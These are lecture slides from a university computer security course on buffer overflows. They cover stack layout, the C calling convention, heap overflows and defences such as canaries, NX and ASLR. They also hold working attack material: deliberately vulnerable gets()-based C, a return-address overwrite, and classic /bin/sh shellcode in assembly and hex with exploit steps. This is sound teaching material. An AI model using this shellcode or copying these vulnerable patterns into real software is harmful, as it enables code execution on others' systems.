buffer overflows - northern kentucky university · csc 482/582: computer security slide #33 ....
TRANSCRIPT
CSC 482/582: Computer Security Slide #2
Topics 1. What is a Buffer Overflow? 2. The Most Common Implementation Flaw. 3. Process Memory Layout. 4. The Stack and C’s Calling Convention. 5. Stack Overflows. 6. Shellcode. 7. Heap Overflows. 8. Defences.
CSC 482/582: Computer Security Slide #3
What is a Buffer Overflow? buffer: a limited, contiguously allocated set of
memory. static: char buffer[32] dynamic: malloc(), new
What happens when you attempt to access an element beyond the end of the buffer? Bounds checking prevents such accesses in most
languages like Python, Ruby, and Java. But in C/C++, large inputs can overflow the buffer,
overwriting adjacent data in memory.
An Example Buffer Overflow char A[8]; short B=3;
A A A A A A A A B B
0 0 0 0 0 0 0 0 0 3
A A A A A A A A B B
o v e r f l o w s 0
gets(A);
CSC 482/582: Computer Security 4
CSC 482/582: Computer Security Slide #5
Out-of-Bounds Read What’s the mistake in this program? int main() { int array[5] = {1, 2, 3, 4, 5};
printf("%d\n", array[5]);
}
Program output: > gcc -o buffer buffer.c > ./buffer
7077876
CSC 482/582: Computer Security Slide #6
Out of Bounds Write Writing beyond the buffer:
int main() { int array[5] = {1, 2, 3, 4, 5}; int i; for( i=0; i <= 255; ++i ) array[i] = 41; }
Program output: > gcc -o bufferw bufferw.c > ./bufferw Segmentation fault (core dumped)
CSC 482/582: Computer Security Slide #7
What happens when a buffer overflows? What happened to our buffer overflow?
1. Overwrote memory beyond buffer with 41. 2. Program crashed with Segmentation fault.
1. Directly or indirectly accessed unmapped memory. 2. Creates a page fault exception. 3. OS does not find mapping on page table. 4. OS sends segmentation fault signal to process.
Do overflows always produce a crash? Unintentional overflows usually do, but Attackers will restrict writes to mapped pages.
CSC 482/582: Computer Security Slide #8
A Common Vulnerability Old, Persistent Vulnerability
1988 Morris Worm (fingerd) 2013 Apple Security Update for Quicktime
http://support.apple.com/kb/HT5806
Why do developers keep making this mistake? C/C++ inherently unsafe.
No bounds checking on arrays or pointer refs. Unsafe library functions: strcpy(), sprintf(), gets(), scanf(), etc.
Process Memory Layout
argv, env
stack
heap
bss
data
text
high mem
low mem
Argv/Env: CLI args and environment Stack: generally grows downwards Heap: generally grows upwards BSS: unitialized global data Data: initialized global data Text: read-only program code
CSC 482/582: Computer Security Slide #9
Memory Layout Example /* data segment: initialized global data */ int a[] = { 1, 2, 3, 4, 5 }; /* bss segment: uninitialized global data */ int b; /* text segment: contains program code */ int main(int argc, char **argv) /* ptr to argv */ { /* stack: local variables */ int *c; /* heap: dynamic allocation by new or malloc */ c = (int *)malloc(5 * sizeof(int)); }
CSC 482/582: Computer Security Slide #10
CSC 482/582: Computer Security Slide #11
What is the Call Stack? LIFO data structure: push/pop
Stack grows downwards in memory. SP (%esp) points to top of stack (lowest address)
What’s on the call stack? Function parameters. Local variables. Return values. Return address (security critical.)
Call Stack Layout b() { … } a() { b(); } main() { a(); }
Unallocated
Stack Frame for b()
Stack Frame for a()
Stack Frame for main()
High Memory
Low Memory
CSC 482/582: Computer Security 12
CSC 482/582: Computer Security Slide #13
Accessing the Stack Pushing an item onto the stack.
1. Copy 4 bytes of data to stack. 2. Decrement SP by 4. Example: pushl $12
Popping data from the stack. 1. Copy 4 bytes of data from stack. 2. Increment SP by 4. Example: popl %eax Retrieve data without pop: movl %esp, %eax
CSC 482/582: Computer Security Slide #14
What is a Stack Frame? Block of stack data for one procedure call. Frame pointer (FP) points to frame:
Use offsets to find local variables. SP continually moves with push/pops. FP only moves on function call/return. Intel CPUs use %ebp register for FP.
CSC 482/582: Computer Security Slide #15
C Calling Convention 1. Push all params onto stack in reverse order.
Parameter #N … Parameter #2 Parameter #1
2. Issues a call instruction. 1. Pushes address of next instruction (the return
address) onto stack. 2. Modifies IP (%eip) to point to start of function.
CSC 482/582: Computer Security Slide #16
Stack before Function Executes Frame Pointer Stack Pointer
old stack frame
parameter #N
…
parameter #1
return address
CSC 482/582: Computer Security Slide #17
C Calling Convention 1. Function pushes FP (%ebp) onto stack.
Save FP for previous function. pushl %ebp
2. Copies SP to FP. Allows function to access params as fixed indexes from
base pointer. movl %esp, %ebp
3. Reserves stack space for local vars. subl $12, %esp
CSC 482/582: Computer Security Slide #18
Stack at Function Start
Frame Pointer Stack Pointer
old stack frame
parameter #N
…
parameter #1 return address
old FP
local vars
CSC 482/582: Computer Security Slide #19
C Calling Convention 1. After execution, stores return value in %eax.
movl $1, %eax
2. Resets stack to pre-call state. Destroys current stack frame; restores caller’s frame. movl %esp, %ebp
popl %ebp
3. Returns control back to where called from. Pops top word from stack and sets %eip to that value. ret
CSC 482/582: Computer Security Slide #20
Stack after Function Return Frame Pointer Stack Pointer
old frame
return value
CSC 482/582: Computer Security Slide #21
C Calling Convention: Registers Assume all register values destroyed. Only %ebp is guaranteed to be restored. Return value will overwrite %eax. Other registers depend on function actions.
Different languages = different calling conventions: Some use registers (easier on RISC processors.) Others use a combination of registers + other
storage methods.
CSC 482/582: Computer Security Slide #22
Overflow Example in C void printInput() { char buffer[32]; gets(buffer); printf("%s\n", buffer); } void main() { printInput(); return 0; }
CSC 482/582: Computer Security Slide #23
Overflow in Assembly printInput: pushl %ebp movl %esp, %ebp subl $40, %esp subl $12, %esp leal -40(%ebp), %eax pushl %eax call gets addl $16, %esp subl $8, %esp leal -40(%ebp), %eax pushl %eax pushl $.LC0 call printf addl $16, %esp mov %esp, %ebp pop %ebp ret
main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp call printInput mov %esp, %ebp pop %ebp ret
CSC 482/582: Computer Security Slide #24
Running Overflow Run the program with normal input. > gcc –ggdb –o overflow overflow.c > ./overflow 01234567890123456789012345678901 01234567890123456789012345678901
Run the program with long input. > ./overflow 0123456789012345678901234567890123456890 0123456789012345678901234567890123456890 Segmentation fault (core dumped)
CSC 482/582: Computer Security Slide #25
Running Overflow with Debugger > gdb overflow (gdb) r Starting program: /home/waldenj/work/bof/overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x080483c0 in printInput () at overflow.c:5 5 } (gdb) info registers eax 0x47 71 ecx 0x0 0 edx 0x47 71 ebx 0x6bfff4 7077876 esp 0xbfe97164 ebp 0x41414141 esi 0xbfe971f4 edi 0xbfe97180 eip 0x41414141 eflags 0x210292 2163346
CSC 482/582: Computer Security Slide #26
Smashing the Stack Success!
We overwrote part of the stack. Our overwritten return value was loaded into the
instruction pointer (%eip). Failure!
The program crashed. EIP loaded with invalid address 0x41414141. Address 0x41414141 is not in a valid memory page.
How to fix it? Insert a valid address into the buffer.
CSC 482/582: Computer Security Slide #27
Controlling Execution Let’s make the program an infinite loop by
changing the return value to start of main().
(gdb) disassemble main
Dump of assembler code for main:
0x080483c1 <main+0>: push %ebp 0x080483c2 <main+1>: mov %esp,%ebp
0x080483c4 <main+3>: call 0x804839c <printInput>
0x080483c9 <main+8>: leave
0x080483ca <main+9>: ret
CSC 482/582: Computer Security Slide #28
Controlling Execution How do we input a non-ascii value?
void main() { char addr[44]; int i; for( i=0; i<=40; i+=4 ) *(long *) &addr[i] = 0x080483c1; puts(addr); }
Does it work? (./address; cat) | ./overflow input1 input1 input2 input2 input3 Segmentation fault (core dumped)
CSC 482/582: Computer Security Slide #29
Gaining Complete Control Use a two step process:
1. Use buffer overflow to write machine code (shellcode) onto stack.
2. Rewrite return address to point to machine code on the stack.
Program will do whatever we tell it to do in those machine instructions.
Shellcode Shellcode is a small piece of machine code inserted into a program by exploiting a vulnerability.
Called shellcode since it is often used to start a command shell under control of attacker.
Example shellcode Remote shell (like ssh) Reverse shell (connects to your machine like ssh client) Remote desktop (RDP, VNC, etc.) Downloader (installs remote control tools)
CSC 482/582: Computer Security Slide #30
CSC 482/582: Computer Security Slide #31
Creating Shellcode Shellcode in C.
int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); }
Running the program. > gcc –ggdb –static –o shell shellcode.c > ./shell sh-3.00$ exit
CSC 482/582: Computer Security Slide #32
Examining the Shellcode Shellcode in assembly:
Null-terminated string “/bin/sh” in memory. Addresse of “/bin/sh” in memory followed by a null
word. Copy 0xB into EAX register. Copy address of the address of the string “/bin/sh”
into EBX register. Copy address of the string “/bin/sh” into ECX. Copy address of null word into EDX register. Exec the int $0x80 instruction.
CSC 482/582: Computer Security Slide #33
Fixing the Shellcode What if execve() fails?
Program will execute garbage from stock. We’ll call exit() after execve() to exit cleanly.
Where will our code end up in memory? We don’t know. Use relative address with JMP and CALL instructions to
avoid needing absolute addresses. What if our code contains null bytes?
Vulnerable program will stop reading data at null. Substitute problem instructions with equivalents
without null bytes, using techniques like XORing values with themselves to indirectly generate zeros.
CSC 482/582: Computer Security Slide #34
Shellcode Assembly jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes
CSC 482/582: Computer Security Slide #35
Testing the Shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } > gcc -o testsc2 testsc2.c > ./testsc2 sh-3.00$ exit
CSC 482/582: Computer Security Slide #36
Writing an Exploit 1. Construct shellcode to inject. 2. Find an exploitable buffer in your target
application. 3. Discover location of stack pointer, so you have
an idea of where your shellcode will be located. 4. Run program with your input that:
1. Injects shellcode into stack memory. 2. Overwrites return address with address of
your shellcode.
CSC 482/582: Computer Security Slide #37
NOP pads Determining the correct address of your shellcode
is hard, even if you don’t have source. What if you could have multiple target addresses? Pad buffer with NOP instructions preceding the
shellcode. If function returns anywhere in that NOP pad, it
will continue executing until it executes the shellcode.
Heap Overflows Programs allocate memory on heap via
new malloc()
To run shellcode, attacker overwrites function pointer C++ methods implemented as function pointers. malloc() stores controls information with data in linked
list; pointer overwriting can yield shellcode execution.
CSC 482/582: Computer Security Slide #38
CSC 482/582: Computer Security Slide #39
Defending Yourself 1. Use language with bounds checking. 2. Use boundchecking/stackguarding compiler. 3. Do your own bounds checking. 4. Avoid unsafe functions
strcpy()
gets()
5. Use potentially dangerous functions securely strncpy()
strncat()
CSC 482/582: Computer Security Slide #40
Safe String Libraries strlcat() and strlcpy()
BSD-licensed open source routines C++ std::string library
Dynamically-sized strings SafeStr library provides safestr_t objects
Dynamically-sized Cast to (char *) for read-only purposes only
Microsoft’s strsafe.h
CSC 482/582: Computer Security Slide #41
gets() /* * gets() version reads l ine fr om user input unt i l EOF or new line * per forms no bounds checking at al l—BSS, p. 142 * /int main() {
char buf[1024] ;gets(buf);
}
/* * fgets() version accepts a size parameter ; always speci fy this parameter * /# define BUFSZ 1024
int main() {char buf[BUFSZ] ;fgets(buf, BUFSZ, stdin)
}
CSC 482/582: Computer Security Slide #42
strcpy() /* code examples fr om BSS, pp. 143-144 * /str cpy(dst, sr c);
/* copying wi th expl ici t bounds checking * /i f (str len(sr c) > = dst_size) {
/* er ror * /} else {
str cpy(dst, sr c);}
/* * or ... use str ncpy, but be careful to avoid off-by-one bugs: * i f str len(sr c) = = dst_size, dst wi l l not be nul l-terminated * /str ncpy(dst, sr c, dst_size – 1);dst[dst_size – 1] = '\0';
/* * or ... dynamical ly al locate r ight-sized buffer when you need i t * /dst = (char * )malloc(str len(sr c) + 1);str cpy(dst, sr c);
CSC 482/582: Computer Security Slide #43
sprintf() /* pr int a usage m essage (BSS, pp. 144 -145 ) * /int m ain( int ar gc, char * *argv) {
char usage[ 102 4 ] ;spr int f(usage, “U SAGE: %s -f f lag [ar g1 ] \n”, ar gv[0 ] ;
}
/* at tack code * /int m ain( ) {
execl( “/path/to/pr ogr am ”, < < buffer over f low st r ing> > , N U LL) ;}
/* safe solut ion using nonstandar d snpr int f( ) code * /int m ain( int ar gc, char * *argv) {
char usage[ 102 4 ] ;char fm t = “U SAGE: %s -f f lag [ar g1 ] \n”;spr int f(usage, 1024 , fm t , ar gv[0 ] ;
}
Bounded Function Pitfalls 1. Destination buffer overflows because bound
depends on size of source data, not destination buffer.
2. Destination buffer left without null terminator, often as result of off-by-one error.
3. Destination buffer overflows because its bound is specified as the total size of the buffer, rather than space remaining.
4. Programs writes to arbitrary location in memory as destination buffer is not null-terminated and function begins writing at location of first null in destination buffer.
CSC 482/582: Computer Security Slide #44
Safe String Libraries UNIX Libraries
C Bstrlib MT-Safe SafeStr strlcpy(), strlcat() Vstr
C++ std::string (STL)
Windows Libraries C
Safe CRT strlcpy(), strlcat() StrSafe
C++ CString (MFC) Safe C++ std::string (STL)
CSC 482/582: Computer Security Slide #45
strlcpy() and strlcat() size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);
Size is max size of dest buffer (not maximum number of chars to copy), including NULL.
Destination buffer always NULL terminated Return how much space would be required in
destination buffer to perform operation. BSD-style open source license.
CSC 482/582: Computer Security Slide #46
CSC 482/582: Computer Security
Character Sets Characters represented using encoding forms that map code points to printable chars. Fixed Width ISO-8859-1 UTF-32
Variable Width UTF-8 (most Internet protocols, Python, Ruby) UTF-16 (Java, .NET)
Character Encoding Code Point s ISO-8859-1
UTF-8 73 73
ÿ ISO-8859-1 UTF-8
FF C3 BF
47
Wide Characters C/C++ char contains 1-byte characters wchar_t is 2-byte, 4-byte on some platforms
Java and .NET strings UTF-16 encoding
Buffer Overflow issues Mixing up different character-set string types. Are sizes measured in bytes or characters?
CSC 482/582: Computer Security Slide #48
CSC 482/582: Computer Security Slide #49
C++ Dangers Using C-style strings with cin
char username[16]; cin >> username;
The [] operator does not perform bounds checking Converting from C++ to C-style strings
• string::data() output is not NULL terminated • string::c_str() ouput is NULL terminated
Non-executable Stack Memory protection prevents code on the stack from being executed to stop stack smashing attacks.
NX implemented as a permission bit on page table. Can set other areas of memory NX too, but not all.
Limitations Some applications need to execute code on the stack. Attackers can target other areas of memory. Buffer overflows can result in remote code execution
without running attacker generated shellcode.
CSC 482/582: Computer Security Slide #50
Return-Oriented Programming ROP is an exploit technique in which the attacker gains control of the call stack and uses it to execute small pieces of code, called “gadgets.”
Attacker uses existing code. Bypasses NX defense, since no new code executed.
Gadgets are typically found in shared libraries Gadgets can be entire functions. Gadgets can be fragments of code that end in a ret
instruction (even unintentional instructions.) Attacker controls order of execution and parameters by
placing data on call stack.
CSC 482/582: Computer Security Slide #51
CSC 482/582: Computer Security Slide #52
Randomization Randomize layout of memory space
Stack location. Shared library locations. Heap location.
PIE: Position Independent Executable Default format: binary compiled to work at an address
selected when program was compiled. Gcc can compile binaries to be freely relocatable
throughout address space. gcc flags: -fpie –pie Program loaded at different address for each invocation.
Canary Defenses Compiler changes calling convention in two ways:
Adds a canary word to the stack (“canary in a coal mine”) Verifies presence of canary word before executing the ret
instruction to return to address on stack. Protects against stack smashing since
Overflow would have to overwrite canary to reach return value.
If canary is chosen randomly, attacker cannot know what to overwrite to that memory location.
CSC 482/582: Computer Security Slide #53
CSC 482/582: Computer Security Slide #54
Canary Stack Layout
Frame Pointer Stack Pointer
old frame
param1
param2
old PC
canary word
old FP
local vars
CSC 482/582: Computer Security Slide #55
Stackguard Effectiveness Code Dependencies
are dynamic libraries stackguarded? Compatibility
Recompiled entire RedHat 7.3 distribution Small performance Cost
canary insert and check overhead on each call Protects against future stack attacks
CSC 482/582: Computer Security Slide #56
Key Points Buffer overflow attacks.
Buffers and overflows Stack layout and return addresses Stack smashing attacks. Shellcode.
Defending against buffer overflows. Use a language with bounds checking. Check your own bounds in C/C++. Avoid unsafe functions in C/C++. Use compiler/OS stack defence techniques.
CSC 482/582: Computer Security Slide #57
References 1. Aleph Null, “Smashing the Stack for Fun and Profit,” Phrack 49, 1996. 2. Bartlett, Johnathan, Programming from the Ground Up, Bartlett Publishing,
2004. 3. Bishop, Matt, Introduction to Computer Security, Addison-Wesley, 2005. 4. Conover, Matt & w00w00 Security Team, “w00w00 on Heap Overflows,”
http://www.w00w00.org/files/articles/heaptut.txt 5. Graff, Mark and van Wyk, Kenneth, Secure Coding: Principles & Practices,
O’Reilly, 2003. 6. Horizon, “Bypassing Non-executable Stack Protection on Solaris,”
http://packetstormsecurity.nl/groups/horizon/stack.txt 7. Hoglund, Greg and McGraw, Gary, Exploiting Software: How to Break Code,
Addison-Wesley, 2004. 8. Howard, Michael and LeBlanc, David, Writing Secure Code, 2nd edition,
Microsoft Press, 2003. 9. Koziol, et. al, The Shellcoder’s Handbook: Discovering and Exploiting Security
Holes, Wiley, 2004. 10. Viega, John, and McGraw, Gary, Building Secure Software, Addison-Wesley,
2002. 11. Wheeler, David, Secure Programming for UNIX and Linux HOWTO,
http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html, 2003.